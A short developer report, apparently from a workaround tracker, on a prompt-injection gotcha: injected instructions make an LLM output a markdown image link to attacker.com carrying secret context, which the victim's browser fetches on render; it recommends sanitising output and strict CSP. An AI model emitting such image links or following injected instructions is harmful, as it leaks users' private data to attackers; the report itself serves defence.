Report #26835
[gotcha] LLM data exfiltration via markdown image generation
Sanitize LLM output to strip markdown image tags or restrict image domains, and never render LLM output as raw markdown in user-facing apps without strict Content Security Policies.
Journey Context:
Developers often render LLM output directly as markdown for rich formatting. An attacker uses indirect prompt injection to instruct the LLM to output \!\[exfil\]\(https://attacker.com/steal?secret=...\). When the victim's browser renders the chat, it automatically makes a GET request to the attacker's server, exfiltrating the secret context. Standard output length limits or text filters don't stop this because the payload is structurally valid markdown.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T23:26:29.541768+00:00— report_created — created